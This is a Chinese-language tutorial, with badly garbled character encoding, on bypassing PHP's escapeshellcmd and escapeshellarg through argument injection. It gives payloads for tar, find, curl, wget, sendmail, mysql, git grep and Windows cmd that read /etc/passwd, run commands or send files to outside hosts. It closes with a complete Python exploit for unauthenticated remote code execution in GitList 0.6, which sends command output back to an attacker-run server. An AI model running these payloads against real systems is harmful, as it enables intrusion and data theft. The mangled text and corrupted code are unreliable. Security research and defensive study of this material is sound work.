1.確保用戶只傳遞一個(gè)參數(shù)給命令
2.用戶不能指定更多的參數(shù)一個(gè)
3.用戶不能執(zhí)行不同的命令
1.確保用戶只執(zhí)行一個(gè)命令
2.用戶可以指定不限數(shù)量的參數(shù)
3.用戶不能執(zhí)行不同的命令
讓我們用groups
去打印組里每個(gè)username成員
$username = 'myuser';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
但是攻擊者可以在username里使用;
或者||
在Linux里,這意味著第二個(gè)命令可以在第一個(gè)之后被執(zhí)行
$username = 'myuser;id';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)
為了防止這一點(diǎn),我們使用escapeshellcmd
現(xiàn)在攻擊者不能允許第2個(gè)命令了
$username = 'myuser;id';
// escapeshellcmd adds before ;
system(escapeshellcmd('groups '.$username));
=>
(nothing)
為什么會(huì)這樣?因?yàn)閜hp內(nèi)部運(yùn)行了這樣的命令
$ groups myuser;id
groups: ?myuser;id”: no such user
myuser;id
被當(dāng)成了一個(gè)字符串
但是在這種方法中,攻擊者可以指定更多參數(shù)groups
例如,他一次檢測(cè)多個(gè)用戶
$username = 'myuser1 myuser2';
system('groups '.$username);
=>
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo
假設(shè)我們希望允許每個(gè)腳本執(zhí)行僅檢查一個(gè)用戶:
$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>
(noting)
為什么會(huì)這樣?因?yàn)楝F(xiàn)在$username
被視為單個(gè)參數(shù):
$ groups 'myuser1 myuser2'
groups: "myuser1 myuser2": no such user
當(dāng)你想利用這些功能時(shí),你有兩個(gè)選擇:
如果PHP版本非常老,你可以嘗試一個(gè)歷史漏洞,
否則你需要嘗試參數(shù)注入技術(shù)。
從上一章可以看到,使用escapeshellcmd / escapeshellarg
時(shí)不可能執(zhí)行第二個(gè)命令。
但是我們?nèi)匀豢梢詫?shù)傳遞給第一個(gè)命令。
這意味著我們也可以將新選項(xiàng)傳遞給命令。
利用漏洞的能力取決于目標(biāo)可執(zhí)行文件。
您可以在下面找到一些已知可執(zhí)行文件的列表,其中包含一些可能被濫用的特定選項(xiàng)。
壓縮some_file
到/tmp/sth
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
創(chuàng)建一個(gè)空文件/tmp/exploit
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
在/tmp
目錄查找文件some_file
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
打印/etc/passwd
內(nèi)容
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
在這個(gè)配置中,我們可以傳遞第二個(gè)參數(shù)給函數(shù)。
列出/tmp
目錄并忽略sth
文件
$arg = "sth";
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
在/tmp
目錄中列出文件并忽略sth
。使用長(zhǎng)列表格式。
$arg = "sth' -l ";
// ls --ignore='exploit'\'' -l ' /tmp
system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
例如:WGET,下載example.php
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
保存.php
文件到指定目錄
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
打印somedir
中的文件列表
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
并且執(zhí)行whoami
命令
$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir));
system('out.bat');
發(fā)送mail.txt
到from@sth.com
$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
打印/etc/passwd
內(nèi)容
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' < mail.txt');
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
發(fā)送/etc/passwd
內(nèi)容到http://example.com
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
你可以得到文件內(nèi)容,使用如下payload:
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
執(zhí)行sql語(yǔ)句
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
運(yùn)行id
命令
$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
從archive.zip
解壓所有*.tmp
文件到/tmp
目錄
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
從archive.zip
解壓所有*.tmp
文件到/var/www/html
目錄
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
$filename = 'résumé.pdf';
// string(10) "'rsum.pdf'"
var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8');
//string(14) "'résumé.pdf'"
var_dump(escapeshellarg($filename));
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
同時(shí)運(yùn)行dir
命令.
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
Shell需要使用GBK,EUC-KR,SJIS等可變寬度字符集的語(yǔ)言環(huán)境。
$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));
或者
$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
額外傳遞的第三個(gè)參數(shù)(—param3)。
$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
如果將1024mb字符串傳遞給escapeshellarg,則導(dǎo)致緩沖區(qū)溢出escapeshellcmd。
啟用EnableDelayedExpansion后,展開(kāi)一些環(huán)境變量。
然后!STH!
運(yùn)行類似于%STH%
escapeshellarg
不會(huì)過(guò)濾!
字符
EnableDelayedExpansion
以在HKLM或HKCU下的注冊(cè)表中設(shè)置:
[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)
例如:
// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);
功能定義于ext/standard/exec.c
,運(yùn)行類似于(escapeshellcmd,eschapeshellarg,shell_exec),忽略PHP字符串的長(zhǎng)度,并用NULL終止工作代替。
echo escapeshellarg("helloworld");
=>
hello
文件src/Git/Repository.php
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (RuntimeException $e) {
return false;
}
}
簡(jiǎn)化后
$query = 'sth';
system('git grep -i --line-number '.escapeshellarg($query).' *');
當(dāng)我們查看git grep文檔時(shí)
--open-files-in-pager[=<pager>]
Open the matching files in the pager (not the output of grep). If the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.
所以基本上--open-files-in-pager
就像是在-exec
中執(zhí)行find
.
$query = '--open-files-in-pager=id;';
system('git grep -i --line-number '.escapeshellarg($query).' *');
當(dāng)我們輸入這些進(jìn)控制臺(tái)
$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev)
id;: 1: id;: README.md: not found
最后的exp:
import requests
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urlparse
import urllib
import threading
import time
import os
import re
url = 'http://192.168.1.1/gitlist/'
command = 'id'
your_ip = '192.168.1.100'
your_port = 8001
print "GitList 0.6 Unauthenticated RCE"
print "by Kacper Szurek"
print "https://security.szurek.pl/"
print "REMEMBER TO DISABLE FIREWALL"
search_url = None
r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text)
if len(repos) == 0:
print "[-] No repos"
os._exit(0)
for repo in repos:
print "[+] Found repo {}".format(repo)
r = requests.get("{}{}".format(url, repo))
files = re.findall(r'href="[^"]+blob/master/([^"]+)"', r.text)
for file in files:
r = requests.get("{}{}/raw/master/{}".format(url, repo, file))
print "[+] Found file {}".format(file)
print r.text[0:100]
search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1])
break
if not search_url:
print "[-] No files in repo"
os._exit(0)
print "[+] Search using {}".format(search_url)
class GetHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_path = urlparse.urlparse(self.path)
print "[+] Command response"
print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
self.send_response(200)
self.end_headers()
self.wfile.write("OK")
os._exit(0)
def log_message(self, format, *args):
return
def exploit_server():
server = HTTPServer((your_ip, your_port), GetHandler)
server.serve_forever()
print "[+] Start server on {}:{}".format(your_ip, your_port)
t = threading.Thread(target=exploit_server)
t.daemon = True
t.start()
print "[+] Server started"
r = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)})
while True:
time.sleep(1)